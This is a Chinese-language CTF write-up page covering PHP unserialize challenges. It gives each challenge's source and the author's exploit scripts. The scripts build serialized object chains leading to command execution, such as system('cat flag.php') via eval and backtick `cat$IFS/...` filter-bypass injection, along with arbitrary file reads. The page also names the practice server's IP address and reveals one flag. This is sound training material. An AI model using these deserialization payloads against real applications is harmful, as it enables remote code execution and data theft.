[关闭]
@shaobaobaoer 2020-12-09T06:39:55.000000Z 字数 6079 阅读 402

在此处输入标题

未分类


在此输入正文> 发现了一个站 http://106.14.114.127/ 准备做做里面的题目

29001

  1. <?php
  2. @error_reporting(1);
  3. include 'flag.php';
  4. class baby
  5. {
  6. protected $skyobj;
  7. public $aaa;
  8. public $bbb;
  9. function __construct()
  10. {
  11. $this->skyobj = new sec;
  12. }
  13. function __toString()
  14. {
  15. if (isset($this->skyobj))
  16. return $this->skyobj->read();
  17. }
  18. }
  19. class cool
  20. {
  21. public $filename;
  22. public $nice;
  23. public $amzing;
  24. function read()
  25. {
  26. $this->nice = unserialize($this->amzing);
  27. $this->nice->aaa = $sth;
  28. if($this->nice->aaa === $this->nice->bbb)
  29. {
  30. $file = "./{$this->filename}";
  31. if (file_get_contents($file))
  32. {
  33. return file_get_contents($file);
  34. }
  35. else
  36. {
  37. return "you must be joking!";
  38. }
  39. }
  40. }
  41. }
  42. class sec
  43. {
  44. function read()
  45. {
  46. return "it's so sec~~";
  47. }
  48. }
  49. if (isset($_GET['data']))
  50. {
  51. $Input_data = unserialize($_GET['data']);
  52. echo $Input_data;
  53. }
  54. else
  55. {
  56. highlight_file("./index.php");
  57. }
  58. ?>

思路写在EXP里了。

  1. class cool
  2. {
  3. public $filename;
  4. public $nice;
  5. public $amzing;
  6. function __construct()
  7. {
  8. $this->filename = "flag.php";
  9. }
  10. }
  11. class baby
  12. {
  13. protected $skyobj;
  14. public $aaa;
  15. public $bbb;
  16. function set_skyobj($obj)
  17. {
  18. $this->skyobj = $obj;
  19. }
  20. }
  21. # 构造amazing
  22. $am = new baby();
  23. //$am->aaa = "123";
  24. $am->bbb = &$am->aaa;
  25. $am_str = serialize($am);
  26. # 构造 baby
  27. $ba = new baby();
  28. $_c = new cool();
  29. $_c->amzing = $am_str;
  30. $ba->set_skyobj($_c);
  31. # 打印baby
  32. var_dump($ba);
  33. echo serialize($ba).PHP_EOL;
  34. echo urlencode(serialize($ba));

29002

  1. <?php
  2. error_reporting(0);
  3. class come{
  4. private $method;
  5. private $args;
  6. function __construct($method, $args) {
  7. $this->method = $method;
  8. $this->args = $args;
  9. }
  10. function __wakeup(){
  11. foreach($this->args as $k => $v) {
  12. $this->args[$k] = $this->waf(trim($v));
  13. }
  14. }
  15. function waf($str){
  16. $str=preg_replace("/[<>*;|?\n ]/","",$str);
  17. $str=str_replace('flag','',$str);
  18. return $str;
  19. }
  20. function echo($host){
  21. system("echo $host");
  22. }
  23. function __destruct(){
  24. if (in_array($this->method, array("echo"))) {
  25. call_user_func_array(array($this, $this->method), $this->args);
  26. }
  27. }
  28. }
  29. $first='hi';
  30. $var='var';
  31. $bbb='bbb';
  32. $ccc='ccc';
  33. $i=1;
  34. foreach($_GET as $key => $value) {
  35. if($i===1)
  36. {
  37. $i++;
  38. $$key = $value;
  39. }
  40. else{break;}
  41. }
  42. if($first==="doller")
  43. {
  44. @parse_str($_GET['a']);
  45. if($var==="give")
  46. {
  47. if($bbb==="me")
  48. {
  49. if($ccc==="flag")
  50. {
  51. echo "<br>welcome!<br>";
  52. $come=@$_POST['come'];
  53. unserialize($come);
  54. }
  55. }
  56. else
  57. {echo "<br>think about it<br>";}
  58. }
  59. else
  60. {
  61. echo "NO";
  62. }
  63. }
  64. else
  65. {
  66. echo "Can you hack me?<br>";
  67. highlight_file(__FILE__);
  68. }
  69. ?>

exp

  1. <?php
  2. class come
  3. {
  4. private $method;
  5. private $args;
  6. function __construct($method, $args)
  7. {
  8. $this->method = $method;
  9. $this->args = $args;
  10. }
  11. }
  12. $a = new come("echo", array("`ls\$IFS/`"));
  13. echo urlencode(serialize($a)).PHP_EOL;
  14. echo urlencode("var=give&bbb=me&ccc=flag");

图片标题

之后改为

  1. $a = new come("echo", array("`cat\$IFS/flaflagg`"));

即可获得

29003

  1. <?php
  2. include 'flag.php';
  3. error_reporting(0);
  4. highlight_file(__FILE__);
  5. class P {
  6. private $var;
  7. function __invoke(){
  8. eval(
  9. 'global '.$this -> var.';'.
  10. '$ret = '.$this -> var.';'
  11. );
  12. return $ret;
  13. }
  14. }
  15. class K {
  16. protected $fn;
  17. public $name;
  18. function __toString(){
  19. $fn = $this -> fn;
  20. return $fn();
  21. }
  22. }
  23. class U {
  24. public $obj;
  25. function __wakeup(){
  26. if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
  27. $this -> obj -> fn = function(){};
  28. }
  29. }
  30. }
  31. echo unserialize($_POST['obj'])->obj;

EXP如下

  1. <?php
  2. //include 'flag.php';
  3. //error_reporting(0);
  4. //highlight_file(__FILE__);
  5. class P
  6. {
  7. private $var;
  8. function __set($property_name, $value)
  9. {
  10. $this->$property_name = $value;
  11. }
  12. }
  13. class K
  14. {
  15. protected $fn; # $fn = new P()
  16. public $name;
  17. function __construct($name)
  18. {
  19. $this->name = $name;
  20. }
  21. function __set($property_name, $value)
  22. {
  23. $this->$property_name = $value;
  24. }
  25. }
  26. class U
  27. {
  28. public $obj;
  29. }
  30. $obj = new K("iv4n");
  31. $obj_p = new P();
  32. //$obj_p->var = "\$GLOBALS;\$ret=system('ls')";
  33. // Dockerfile flag.php index.php run.sh run.sh
  34. $obj_p->var = "\$GLOBALS;\$ret=system('cat flag.php')";
  35. $obj->fn = $obj_p;
  36. $obj_u = new U();
  37. $obj_u->obj = $obj;
  38. var_dump(
  39. $obj_u
  40. );
  41. echo urlencode(serialize($obj_u));
  42. # <?php
  43. //$flag = "flag{0k_y0u_4lr3ady_kn0w_uns3ria1ize}";

29004

  1. <?php
  2. require_once "flag.php";
  3. class TOPA{
  4. public $token;
  5. public $ticket;
  6. public $username;
  7. public $password;
  8. function login(){
  9. if($this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
  10. return 'key is:{'.$this->token.'}';
  11. }
  12. }
  13. }
  14. class TOPB{
  15. public $obj;
  16. public $attr;
  17. function __construct(){
  18. $this->attr = null;
  19. $this->obj = null;
  20. }
  21. function __toString(){
  22. $this->obj = unserialize($this->attr);
  23. $this->obj->token = $GLOBALS["flag"];
  24. if($this->obj->token === $this->obj->ticket){
  25. var_dump($this->obj);
  26. return 'you get flag!';
  27. }
  28. }
  29. }
  30. class TOPC{
  31. public $obj;
  32. public $attr;
  33. function __destruct(){
  34. echo $this->attr;
  35. }
  36. }
  37. if(isset($_GET['a'])) unserialize($_GET['a']);
  38. else highlight_file(__FILE__);

套路和之前一样

  1. <?php
  2. class TOPA
  3. {
  4. public $token;
  5. public $ticket;
  6. public $username;
  7. public $password;
  8. function __construct()
  9. {
  10. $this->token = 123;
  11. $this->ticket = &$this->token;
  12. $this->username = 'aaaaaaaaaaaaaaaaa';
  13. $this->password = 'bbbbbbbbbbbbbbbbbb';
  14. }
  15. }
  16. class TOPB
  17. {
  18. public $obj;
  19. public $attr;
  20. function __construct()
  21. {
  22. $this->attr = null;
  23. $this->obj = null;
  24. }
  25. function __toString()
  26. {
  27. $this->obj = unserialize($this->attr); # this->obj = new TOPA()
  28. $this->obj->token = $GLOBALS["flag"];
  29. if ($this->obj->token === $this->obj->ticket) {
  30. var_dump($this->obj);
  31. return 'you get flag!';
  32. }
  33. }
  34. }
  35. class TOPC
  36. {
  37. public $obj;
  38. public $attr;
  39. function __destruct()
  40. {
  41. echo $this->attr; # this->attr = new TOPB()
  42. }
  43. }
  44. //unserialize($_GET['a']);
  45. $C = new TOPC();
  46. $B = new TOPB();
  47. $A = new TOPA();
  48. $B->attr = $A;
  49. $C->attr = $B;
  50. //var_dump($C);
  51. //echo serialize($C).PHP_EOL;
  52. echo urlencode(serialize($C));

29005

  1. index.php解析开始
  2. <?php
  3. error_reporting(1);
  4. class Read {
  5. private $var;
  6. public function file_get($value)
  7. {
  8. $text = base64_encode(file_get_contents($value));
  9. return $text;
  10. }
  11. public function __invoke(){
  12. $content = $this->file_get($this->var);
  13. echo $content;
  14. }
  15. }
  16. class Show
  17. {
  18. public $source;
  19. public $str;
  20. public function __construct($file='index.php')
  21. {
  22. $this->source = $file;
  23. echo $this->source.'解析开始'."<br>";
  24. }
  25. public function __toString()
  26. {
  27. $this->str['str']->source;
  28. }
  29. public function __set($key,$value)
  30. {
  31. $this->$key = $value;
  32. }
  33. public function _show()
  34. {
  35. if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
  36. die('hacker!');
  37. } else {
  38. highlight_file($this->source);
  39. }
  40. }
  41. public function __wakeup()
  42. {
  43. if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
  44. echo "hacker~";
  45. $this->source = "index.php";
  46. }
  47. }
  48. }
  49. class Test
  50. {
  51. public $params;
  52. public function __construct()
  53. {
  54. $this->params = array();
  55. }
  56. public function __get($key)
  57. {
  58. $func = $this->params;
  59. return $func();
  60. }
  61. }
  62. if(isset($_GET['chal']))
  63. {
  64. $chal = unserialize($_GET['chal']);
  65. }
  66. else
  67. {
  68. $show = new Show('index.php');
  69. $show->_show();
  70. }
  71. ?>
添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注